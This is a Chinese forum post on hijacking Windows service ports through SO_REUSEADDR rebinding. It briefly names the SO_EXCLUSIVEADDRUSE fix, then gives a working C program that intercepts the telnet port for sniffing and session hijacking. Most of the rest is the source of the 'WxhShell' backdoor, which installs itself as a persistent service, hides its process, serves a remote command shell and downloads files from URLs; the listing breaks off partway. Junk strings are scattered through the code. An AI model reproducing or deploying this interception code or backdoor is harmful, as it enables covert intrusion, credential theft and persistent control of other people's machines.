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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 01SFOPuR%(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w4&v( m  
'!|E+P-  
  saddr.sin_family = AF_INET; ogh2kht  
YM,D`c[pX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A~~| X  
HDfQ9__  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zs]>XO~Jg  
5SPl#*W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %y^ Kw  
0"D?.E"$r  
  这意味着什么?意味着可以进行如下的攻击: 56~da ){gd  
v:;C|uE|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 66y,{t  
ywa.cq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %L=h}U13  
>!ZyykAs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;{)@ghD  
c=c.p i"s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ? wiq 3f6  
U=*q;$L#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g_U*_5doA  
Jv$2wH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ',-X#u  
p`V9+CA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [}g5Z=l  
# JT%]!  
  #include -wHGi  
  #include 7}HA_@[  
  #include S>zKD  
  #include    Ra,on&OP`*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   } jy7,+  
  int main() hFF&(t2{^  
  { '{_tDboY  
  WORD wVersionRequested; G}OrpPP  
  DWORD ret; ,}xC) >  
  WSADATA wsaData; xuC6EK+  
  BOOL val; \VzQ1B>k  
  SOCKADDR_IN saddr; =:T:9Y_i  
  SOCKADDR_IN scaddr; ,kuFTWB  
  int err; m3ZOq B-  
  SOCKET s; $7ME a"a  
  SOCKET sc; 7PPsEU:rf  
  int caddsize; e&I.kC"j6  
  HANDLE mt; >}`1'su  
  DWORD tid;   FP cvkXQD  
  wVersionRequested = MAKEWORD( 2, 2 ); Ts *'f  
  err = WSAStartup( wVersionRequested, &wsaData ); ]?5@ObG  
  if ( err != 0 ) { R(#;yn  
  printf("error!WSAStartup failed!\n"); |[t=.dK%  
  return -1;  )"Yah  
  } G5@@m-  
  saddr.sin_family = AF_INET; 1;sAt;/W8  
   j7%%/%$o[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Hqy>!1 !  
V'#u_`x"D)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }C1}T}U  
  saddr.sin_port = htons(23); 9d|7#)a;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gM:oP.  
  { [<yUq zm  
  printf("error!socket failed!\n"); {;gWn' aq  
  return -1; @MVZy  
  } DWO:  
  val = TRUE; 0iq$bT|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z~;qDf|I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { ^k,iTx   
  { W_lNvzag  
  printf("error!setsockopt failed!\n");  o=5uM  
  return -1; w6Ny>(T/  
  } 0L-g'^nn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k3eN;3#&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zm.sX~j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U*l>8  
xL#oP0d<e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0([jD25J!  
  { 9Ei#t FMc  
  ret=GetLastError(); nmAXU!t'  
  printf("error!bind failed!\n"); ^OsUWhkV  
  return -1; /9gMcn9EB  
  }  D -EM  
  listen(s,2); f)fw87UPc  
  while(1) alD|-{Bf  
  { >}tG^)os  
  caddsize = sizeof(scaddr); p 5w g+K  
  //接受连接请求 e/%Y ruzS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '\qr=0aW  
  if(sc!=INVALID_SOCKET)  X0L{#U  
  { 4IpFT;`q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a];i4lt(c  
  if(mt==NULL) ,RH986,6V  
  { 2(xKE_|  
  printf("Thread Creat Failed!\n"); 8hV:bz"  
  break; l0o_C#"<S  
  } U}TQXYAg  
  } 1Ez A@3:{  
  CloseHandle(mt); +#9 (T  
  } QR8 Q10  
  closesocket(s); |bUmkw  
  WSACleanup(); #J9XcD{1  
  return 0; dRC+|^ rSC  
  }   dg<fUQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) $*> _0{<  
  { KL{ uhb0f  
  SOCKET ss = (SOCKET)lpParam; &WS%sE{p_  
  SOCKET sc; =i<(hgD  
  unsigned char buf[4096]; )^3655mb  
  SOCKADDR_IN saddr; o*8 pM`uw  
  long num; W{2y*yqY  
  DWORD val; .w"O/6."  
  DWORD ret; M6n.uho/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I#%-A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I<f M8t.Y>  
  saddr.sin_family = AF_INET; &Kwt vUN{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XS@6jbLE  
  saddr.sin_port = htons(23); Q4 S8NqE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +[qy HTcG  
  { #{PNdINoU  
  printf("error!socket failed!\n"); %oQj^r!Xd  
  return -1; KO7cZME  
  } $x0F(|wxt  
  val = 100; HRh".!lxy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }R(_^@ ]  
  { 4,8 =[  
  ret = GetLastError(); |'#NDFI>}  
  return -1; -JkO[ IF  
  } 0}!lN{m?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *?\Nioii  
  { <#Dc(VhT  
  ret = GetLastError(); ppS`zqq $  
  return -1; J(GLPCO$K  
  } YTA  &G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "Y6mM_flq  
  { p5ihuV,   
  printf("error!socket connect failed!\n"); Qmn5-yiw1d  
  closesocket(sc); >Li?@+Zl  
  closesocket(ss); -tJ*F!w6U  
  return -1; Z]CH8GS~<  
  } nXjUTSGa)  
  while(1) :7zI!edu  
  { 64cmv}d_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;2~Q97c0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;DpK* A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x~.U,,1  
  num = recv(ss,buf,4096,0); Zl*!pQ  
  if(num>0) 1-fz564  
  send(sc,buf,num,0); Zx{'S3W  
  else if(num==0) z~al h?H  
  break; Bc@e;k@i  
  num = recv(sc,buf,4096,0); R _%pR_\  
  if(num>0) OX2\H  
  send(ss,buf,num,0); gsAO<Fy  
  else if(num==0) ,\ i q'}i  
  break; TgLlmU*qMU  
  }  8j k*N  
  closesocket(ss); .[! ^ L  
  closesocket(sc); #</yX5!V  
  return 0 ; r`@Dgo}  
  } ;f?bb*1  
kaLRI|hC  
L.'N'-BV  
========================================================== l/5/|UE9  
`N0E;=g  
下边附上一个代码,,WXhSHELL ~cz t=  
DDEn63{  
========================================================== uQlVzN.?  
M vCBgLN  
#include "stdafx.h" -p }]r  
_rv_-n]"o  
#include <stdio.h> ,&$Y2+  
#include <string.h> /(w5S',EL  
#include <windows.h> p#w,+)1!d  
#include <winsock2.h> "x)W3C%*S  
#include <winsvc.h> $A ,=z  
#include <urlmon.h> RXDk8)^  
w,&RHQB  
#pragma comment (lib, "Ws2_32.lib") N'StT$(  
#pragma comment (lib, "urlmon.lib") (~#9KA1A}  
FVHL;J]nf1  
#define MAX_USER   100 // 最大客户端连接数 9M6&+1XE  
#define BUF_SOCK   200 // sock buffer vc<8ApK3V  
#define KEY_BUFF   255 // 输入 buffer t9kgACo/M  
L\UYt\ks  
#define REBOOT     0   // 重启 $I'ES#8P6  
#define SHUTDOWN   1   // 关机 u=4Rn  
t?s1@}G^  
#define DEF_PORT   5000 // 监听端口 A[o Ri}=  
n1QO/1} :  
#define REG_LEN     16   // 注册表键长度 >\e11OU0Gy  
#define SVC_LEN     80   // NT服务名长度 >y?$aJ8ZV  
<K43f#%  
// 从dll定义API ]T$~a8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l}m@9 ~oC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |qBo*OcO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]k hY8it  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }*%%GPJ  
<rU(zm  
// wxhshell配置信息 UwLa9Dn^  
struct WSCFG { ;3w W)gL1  
  int ws_port;         // 监听端口 yk=H@`~!  
  char ws_passstr[REG_LEN]; // 口令 /q=<OEC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^71sIf;+  
  char ws_regname[REG_LEN]; // 注册表键名 qU"+0t4  
  char ws_svcname[REG_LEN]; // 服务名 d-Sm<XHu.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A9"ho}<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6 R!0v8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uB%`Bx'OW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no # RtrHm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PKP( :3|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xd* kNY  
]8RcZn  
}; EfOJ%Xr[,l  
1&dWt_\  
// default Wxhshell configuration m^wYRA.  
struct WSCFG wscfg={DEF_PORT, qwN-VCj  
    "xuhuanlingzhe", oOuWgr]0  
    1, u~K4fP  
    "Wxhshell", 7&X^y+bMe6  
    "Wxhshell", 9N9;EY-U  
            "WxhShell Service", k]v a  
    "Wrsky Windows CmdShell Service", hgm`6TQ  
    "Please Input Your Password: ", C&Rv)j  
  1, qp7>_B  
  "http://www.wrsky.com/wxhshell.exe", |[*b[O 1W  
  "Wxhshell.exe" km *$;Nli  
    }; XRZmg "  
hp)3@&T  
// 消息定义模块 ]86U -`p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u|+O%s TQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -gzk,ymp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mX %;  
char *msg_ws_ext="\n\rExit."; _Ab|<!a/R  
char *msg_ws_end="\n\rQuit."; C,Ch6Ph  
char *msg_ws_boot="\n\rReboot..."; A;h~Fx6s  
char *msg_ws_poff="\n\rShutdown..."; :}Z+K*%o-  
char *msg_ws_down="\n\rSave to "; s{gdTG6v`  
|S/nq_g]  
char *msg_ws_err="\n\rErr!"; NKRNEq!  
char *msg_ws_ok="\n\rOK!"; LdA&F& pI  
Pj^6.f+  
char ExeFile[MAX_PATH]; B&"fPi  
int nUser = 0; fk=_ Y  
HANDLE handles[MAX_USER]; ucyxvhH^-  
int OsIsNt; 0rF{"HM~  
x6m21DWw  
SERVICE_STATUS       serviceStatus; kYx|`-PA<r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0nBAO  
zg[ksny  
// 函数声明 euQ d  
int Install(void); h"j{B  
int Uninstall(void); z1s9[5  
int DownloadFile(char *sURL, SOCKET wsh); &Jq?tnNd  
int Boot(int flag); zDC-PHF HQ  
void HideProc(void); 8hdd1lVKO8  
int GetOsVer(void); Wa ,  #  
int Wxhshell(SOCKET wsl); 9[/Gd{`XC  
void TalkWithClient(void *cs); H"m^u6Cmy-  
int CmdShell(SOCKET sock); B|#"dhT  
int StartFromService(void); ;l"z4>kt7  
int StartWxhshell(LPSTR lpCmdLine); 7u0!Q\  
evq *&.6\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j`(o\Fd )  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N n+leM  
V*LpO 8=  
// 数据结构和表定义 rT <=`9^{  
SERVICE_TABLE_ENTRY DispatchTable[] = c/b} 39X  
{ BJ1txdxvS  
{wscfg.ws_svcname, NTServiceMain}, ^,@Rd\q  
{NULL, NULL} jrG@ +" }  
}; %*zgN[/w  
gFJd8#6t  
// 自我安装 klv ]+F&[  
int Install(void) !'MZeiLP  
{ /=i^Bgh4  
  char svExeFile[MAX_PATH]; >$k_tC'"  
  HKEY key; X]M)T  
  strcpy(svExeFile,ExeFile); .pK_j~}P  
xrp%b1Sy  
// 如果是win9x系统,修改注册表设为自启动 Vf,t=$.[Q  
if(!OsIsNt) { ~#N^@a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MYDAS-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M{1't  
  RegCloseKey(key); ]=7}Y%6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l\JoWL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )FYz*:f>&  
  RegCloseKey(key); NbSkauF~b  
  return 0; X^7bOFWE  
    } zq8LQ4@ay  
  } [*Wq6n  
} Jr|"`f%V  
else { vQ$FMKz7  
,a_\o&V  
// 如果是NT以上系统,安装为系统服务 z1*8 5?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *q\Ve)E}  
if (schSCManager!=0) FlttqQQdf  
{ /V^Gn;  
  SC_HANDLE schService = CreateService >XM-xK-=  
  ( }PUQvIGZZ&  
  schSCManager, m6bAvy]3<t  
  wscfg.ws_svcname, =;4cDmZh  
  wscfg.ws_svcdisp, \IQf|  
  SERVICE_ALL_ACCESS, %[l5){:05  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bODCC5yL  
  SERVICE_AUTO_START, sFsp`kf  
  SERVICE_ERROR_NORMAL, =]K;"  
  svExeFile, @Xts}(L  
  NULL, P{h;2b{  
  NULL, Mpzt9*7R  
  NULL, }.>( [\ q  
  NULL, @2nar<  
  NULL g ]e^;  
  ); YKlYo~fGN9  
  if (schService!=0) ]6bh#N;.  
  { |7LhE+E  
  CloseServiceHandle(schService); . K s%ar  
  CloseServiceHandle(schSCManager); L'iENZ I$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tURjIt,I  
  strcat(svExeFile,wscfg.ws_svcname); j'R{llZW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kI<;rP1S|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n6Je5fE  
  RegCloseKey(key); i 3?=up!  
  return 0; N =FX3Z  
    } <b.?G  
  } JK) )Cuh  
  CloseServiceHandle(schSCManager); ;'~U5Po8  
} UzTFT:\  
} 0K<y }  
{OtD+%  
return 1; c07'mgsU  
} pnl7a$z  
z~\a]MB  
// 自我卸载 Z?ZiK1) K  
int Uninstall(void) P MV;A{T  
{ Xn@\p5<  
  HKEY key; hLK5s1#K  
0}tf*M+a  
if(!OsIsNt) { <&^P1x<x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZfsM($|a  
  RegDeleteValue(key,wscfg.ws_regname); 7}>Zq`]~  
  RegCloseKey(key); j} t"M|`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 33IJbg  
  RegDeleteValue(key,wscfg.ws_regname); -}#=L@  
  RegCloseKey(key); Jh`Pq,B:  
  return 0; dCc"Qr[k  
  } ur7sf$  
} "*UN\VV+s  
} LS;j]!CU  
else { RdaAS{>Sk  
Jmg<mjq/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gmi ^2?Z(  
if (schSCManager!=0) R!{^qHb  
{ je LRS8];  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E}6q;"[  
  if (schService!=0) v8 rK\  
  { 14>WpNN  
  if(DeleteService(schService)!=0) { tQ~vLPi$  
  CloseServiceHandle(schService); w{TZN{Y  
  CloseServiceHandle(schSCManager); {x_SnZz&  
  return 0; #@%DY*w]v  
  } iXLODuI  
  CloseServiceHandle(schService); kd55y  
  } qV]p\/a.  
  CloseServiceHandle(schSCManager); E0HXB1"  
} }9=X*'BO  
} $.HZz  
,'!x 9 `  
return 1; Rn?Yz^ 1q  
} 3lr9nBR  
QiO4fS'~W  
// 从指定url下载文件 r:N =?X`N  
int DownloadFile(char *sURL, SOCKET wsh) ufl[sj%^|  
{ =c/jS  
  HRESULT hr; ZW+M<G  
char seps[]= "/"; {o>51fXc)  
char *token; b^s978qn#  
char *file; fL$U%I3  
char myURL[MAX_PATH]; 8`g@ )]Iy  
char myFILE[MAX_PATH]; *ay&&S*  
&k53*Wo  
strcpy(myURL,sURL); Bk)E]Fk|  
  token=strtok(myURL,seps); }SD*@w  
  while(token!=NULL) }Br=eaY  
  { hSkI]%  
    file=token; /Uxp5 b h  
  token=strtok(NULL,seps); y0}3s)lKv  
  } fhwJ  
D@W[Nd5MJ  
GetCurrentDirectory(MAX_PATH,myFILE); M$J{clr  
strcat(myFILE, "\\"); +>bm~6  
strcat(myFILE, file); Y["aw&;#O\  
  send(wsh,myFILE,strlen(myFILE),0); X%X`o%AqC  
send(wsh,"...",3,0); Cj/J&PDQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [p Y1\$,  
  if(hr==S_OK) }^Ymg7wA  
return 0; /FJ.W<hw  
else V8KdY=[  
return 1; xgp 6lO[  
vD-m FC)  
} Kx4_`;>  
YzA6*2  
// 系统电源模块 yV.E+~y  
int Boot(int flag) Th.Mn}1%L  
{ RKi11z  
  HANDLE hToken; DjLSl,Z  
  TOKEN_PRIVILEGES tkp; xVnk]:c  
) t#>fnN  
  if(OsIsNt) { ]`+J!G,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U3 t$h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !&(^R<-id  
    tkp.PrivilegeCount = 1; !#[B#DZc(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rd_!'pG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 lZRi-P  
if(flag==REBOOT) { [LF<aR5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3*(w=;y  
  return 0; pLdZB9oD]C  
} 9M12|X\]8  
else { }+@GgipyO.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2/dvCt6 N  
  return 0; #jqcUno  
} &"gQrBa  
  } #r,LV}*qg  
  else { |YnT;q  
if(flag==REBOOT) { C<B+!16  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PKjM1wqaG@  
  return 0; H@uDP  
} -prc+G,qyp  
else { j+eto'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GbB :K2  
  return 0;  j1~'[  
} 0rrNVaM  
} R3bHX%T  
H13kNhV9  
return 1; (O!Q[WLS  
} ^]zC~LfG  
< $>Jsv  
// win9x进程隐藏模块 Bj`ZH~T  
void HideProc(void) F1A7l"X]  
{ CT0 ~  
a%YohfsY?U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lKSd]:3Xm  
  if ( hKernel != NULL ) aj`_* T"A  
  { z)_h"y?H{%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /^pPT6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A. 5`+  
    FreeLibrary(hKernel); i-FsA  
  } X/qLg+X  
ozOvpi:k3%  
return; ))xP]Muv  
} #I9hKS{  
)`,Y ^`F2  
// 获取操作系统版本 /H'F4->  
int GetOsVer(void) xH4Qv[k Q7  
{ efrVF5,y?  
  OSVERSIONINFO winfo; xT8pwTO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (x!Tb2mlk  
  GetVersionEx(&winfo); ;r3Xh)k;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <$@*'i^7Ez  
  return 1; YIn H8Ex  
  else GX#SCZ&}C  
  return 0; * LOUf7`  
} i$gH{wn\`  
2H9;4>ss  
// 客户端句柄模块 ]L/AW  
int Wxhshell(SOCKET wsl) s ;2ih)[  
{ ,)35Vi;.  
  SOCKET wsh; '`sZo1x%f  
  struct sockaddr_in client; Yaix\*II  
  DWORD myID; )8&;Q9'o  
6DT ^:LHS  
  while(nUser<MAX_USER) C8W4~~1S  
{ *Y`c.n"  
  int nSize=sizeof(client); O48*"Z1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eufGU)M  
  if(wsh==INVALID_SOCKET) return 1; 4GqwY"ja  
kHbH{])  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `'G1"CX  
if(handles[nUser]==0) N%Uk/ c'  
  closesocket(wsh); ]114\JE  
else <^da-b>C  
  nUser++; b Od<x >@  
  } qAW?\*n5N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hl$X.O  
1n!xsesSc  
  return 0; sd&^lpH  
} e#odr{2#4u  
r (KAG"5  
// 关闭 socket Q N]y.(S)y  
void CloseIt(SOCKET wsh) 7g|EqJ7  
{ F1u2SltR  
closesocket(wsh); YY4q99^K  
nUser--; -pW*6??+?  
ExitThread(0); T#.pi@PF>  
} z\`tn z7>$  
fj97_Q=  
// 客户端请求句柄 \l1==,wk  
void TalkWithClient(void *cs) X]}:WGFM  
{ t76B0L{  
s63!]LDr  
  SOCKET wsh=(SOCKET)cs; C`=YGyj=TL  
  char pwd[SVC_LEN]; Z;y(D_;_  
  char cmd[KEY_BUFF]; $38)_{  
char chr[1]; [\e/xY(4  
int i,j; *Wf Qi8  
89x;~D1  
  while (nUser < MAX_USER) { $`[TIyA9!  
#z+?t  
if(wscfg.ws_passstr) { G!+Mu2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zbI|3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ]0XlI;ah  
  //ZeroMemory(pwd,KEY_BUFF); r+k g$+%b  
      i=0; :$*@S=8O  
  while(i<SVC_LEN) { :DrF)1C  
HR ;I}J 9  
  // 设置超时 =~>g--^U  
  fd_set FdRead; &z#`Qa3NI  
  struct timeval TimeOut; qrf90F)  
  FD_ZERO(&FdRead); i5aY{3!  
  FD_SET(wsh,&FdRead); Y5c[9\'\  
  TimeOut.tv_sec=8; <eZ*LK?  
  TimeOut.tv_usec=0; Lg~ll$ U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iK=QP+^VN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]h,iyWSs  
 OA^6l#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L2=:Nac  
  pwd=chr[0]; >p'{!k  
  if(chr[0]==0xd || chr[0]==0xa) { bct8~dY  
  pwd=0; _+.JTk  
  break; ;W]9DBAB  
  } O?O=]s u  
  i++; b:cy(6G(  
    } VVDW=G  
74  &q2g{  
  // 如果是非法用户,关闭 socket G\o9mEzQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fm L8n<1  
} [r!f&R  
)KEW`BC5T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qtmKX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - AU{Y`j  
&B ]1 VZUp  
while(1) { MT7B'hd  
oKCv$>Y  
  ZeroMemory(cmd,KEY_BUFF); 3=yfbO<-  
{xH?b0>  
      // 自动支持客户端 telnet标准   k<5g  
  j=0; a{@}vZx>3  
  while(j<KEY_BUFF) { I]DD5l}\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r?IBmatK/  
  cmd[j]=chr[0]; P8Wv&5A  
  if(chr[0]==0xa || chr[0]==0xd) { 0)M8Tm0$  
  cmd[j]=0; bAbR0)  
  break; tJ 2GSZ`  
  } E7M_R/7@y  
  j++; YM};85K  
    } T@Y, 7ccpd  
9?8PMh.  
  // 下载文件 J/O{x  
  if(strstr(cmd,"http://")) { {}$Zff   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |JP19KFx'B  
  if(DownloadFile(cmd,wsh)) 6JDaZh"=K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (0B?OkQ  
  else FJ-H ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JhfVm*,  
  }  ?C#E_  
  else { 4l+!Z,b  
l?=\9y  
    switch(cmd[0]) { 8;V9%h`P>  
  ,zltNbu\.(  
  // 帮助 pF4Z4?W  
  case '?': { s2#Ia>5!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h%krA<G9  
    break; y TD4![  
  } ](A2,F 9(U  
  // 安装 BMy3tyO  
  case 'i': { Vv45w#w;  
    if(Install()) o87kF!x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % /"n(?$ W  
    else 1[^YK6a/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); USEb} M`  
    break; v6s,lC5qR  
    } w y|^=#k  
  // 卸载 V`1,s~"q  
  case 'r': { 8HQ.MXKP  
    if(Uninstall()) TK fN`6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EU%,tp   
    else ^>?=L\[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !: ^q_q4  
    break; 3o%vV*  
    } ?B1Zfu0  
  // 显示 wxhshell 所在路径 pA ~} _  
  case 'p': { >%k6k1CZ  
    char svExeFile[MAX_PATH]; \&5V';  
    strcpy(svExeFile,"\n\r"); !Aw^X} C  
      strcat(svExeFile,ExeFile); b,E?{uG  
        send(wsh,svExeFile,strlen(svExeFile),0); D&" D[|@  
    break; y %Q. (  
    } <Gi%+I@szl  
  // 重启 + cfEyiub  
  case 'b': { @"-\e|[N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \</!kY*3@t  
    if(Boot(REBOOT)) kFv*>>X`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zd6ik&S   
    else { P[ 2!D)A  
    closesocket(wsh); e@Lxduq  
    ExitThread(0); =~GP;=6  
    } ( Jk& U8y  
    break; @PEFl"  
    } <w{?b'/q  
  // 关机 YV<y-,Io  
  case 'd': { |oi+|r  
